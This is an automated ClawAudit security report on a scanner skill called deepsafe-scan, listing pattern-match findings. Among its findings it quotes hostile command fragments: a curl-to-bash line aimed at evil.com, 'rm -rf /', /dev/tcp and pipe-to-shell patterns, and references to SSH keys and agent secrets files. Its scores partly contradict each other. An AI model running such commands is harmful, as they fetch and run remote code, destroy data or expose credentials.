ClawAudit verdict

deepsafe-scan

88
🟢 Trusted
Low risk — reviewed by ClawAudit, behavior matches stated purpose

Security scanner that runs Python scripts locally to audit the user's own AI agent configuration; executionSinkDetected reflects the documented scanning scripts and the behavior is entirely local with no outbound data exfiltration evident.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
80
transparency
70
maintenance

Permission integrity

Accesses agent memory/configuration files

agent_memory

Findings (19)

Pattern match high

Accesses .ssh directory

demo/awesome-ai-rules/CLAUDE.md · code · .ssh/

Pattern match high

Bash /dev/tcp — raw TCP connection via shell

README.md · prose · downgraded · /dev/tcp/

Pattern match high

Pipe to sh — executes piped content as shell commands

README.md · prose · downgraded · |sh

Pattern match high

Pipe to python — executes piped content as Python code

scripts/scan.py · prose · downgraded · |python

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

README.md · prose · downgraded · curl https://evil.com/x.sh \| bash

Pattern match high

Recursive delete from root or home — destructive command

README.md · prose · downgraded · rm -rf /

Pattern match high

Pipe to bash — executes piped content as shell commands

README.md · prose · downgraded · | bash

Pattern match medium

Accesses OpenClaw config/secrets directly

README.md · prose · downgraded · ~/.openclaw/openclaw.json

Pattern match medium

References agent configuration files

docs/plan-cross-platform-evolution.md · code · CLAUDE.md

Pattern match medium

References SSH/GPG private keys

scripts/scan.py · prose · downgraded · ssh-key

Pattern match medium

HTTP request to bare IP address — common in malicious payloads

scripts/probes/persuasion_probe.py · prose · downgraded · http://127.0.0.1

Pattern match medium

References child_process — can spawn system processes

scripts/scan.py · prose · downgraded · child_process

Pattern match medium

Reads files from sensitive system paths

scripts/scan.py · prose · downgraded · readFileSync|cat\s|fs\.read)|(?:curl|wget|fetch|http\.request|XMLHttpRequest|sen

Pattern match medium

Instructs covert action — may act without user awareness

scripts/scan.py · prose · downgraded · silently

Pattern match medium

Accesses shell history/config

scripts/scan.py · prose · downgraded · ~/.zshrc

Pattern match low

Python os.environ.get — reads environment variable

scripts/llm_client.py · prose · downgraded · os.environ.get(

Pattern match low

Popular HTTP library — network access

scripts/probes/persuasion_probe.py · prose · downgraded · got

Pattern match low

Base64 encoding/decoding

scripts/scan.py · prose · downgraded · base64-encode

Pattern match low

Uses XMLHttpRequest — network access

scripts/scan.py · prose · downgraded · XMLHttpRequest

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

agent_memory

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API